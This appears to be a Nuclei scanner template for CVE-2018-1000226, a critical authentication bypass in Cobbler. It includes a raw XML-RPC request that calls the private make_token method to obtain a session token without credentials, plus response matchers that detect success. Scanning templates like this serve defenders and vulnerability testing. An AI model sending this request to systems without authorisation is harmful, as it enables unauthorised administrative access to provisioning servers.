2022-02-14 17:20:32 +00:00
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id: CVE-2018-1000226
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info:
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name: Cobbler versions 2.6.11+, (2.0.0+ or older versions) - Authentication Bypass
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author: c-sh0
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severity: critical
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reference:
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- https://github.com/cobbler/cobbler/issues/1916
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- https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
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- https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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2022-04-22 10:38:41 +00:00
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cvss-score: 9.8
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2022-02-14 17:20:32 +00:00
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cve-id: CVE-2018-1000226
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cwe-id: CWE-732
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tags: cve,cve2018,cobbler,auth-bypass
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requests:
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- raw:
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- |
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POST {{BaseURL}}/cobbler_api HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml
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<?xml version='1.0'?>
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<methodCall>
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<methodName>_CobblerXMLRPCInterface__make_token</methodName>
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<params>
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<param>
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<value>
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<string>cobbler</string>
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</value>
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</param>
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</params>
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</methodCall>
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- "Content-Type: text/xml"
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- type: word
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part: body
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words:
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- "<methodResponse>"
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- type: dsl
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dsl:
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- "!contains(tolower(body), '<name>faultCode</name>')"
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- type: regex
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part: body
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regex:
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- "(.*[a-zA-Z0-9].+==)</string></value>"
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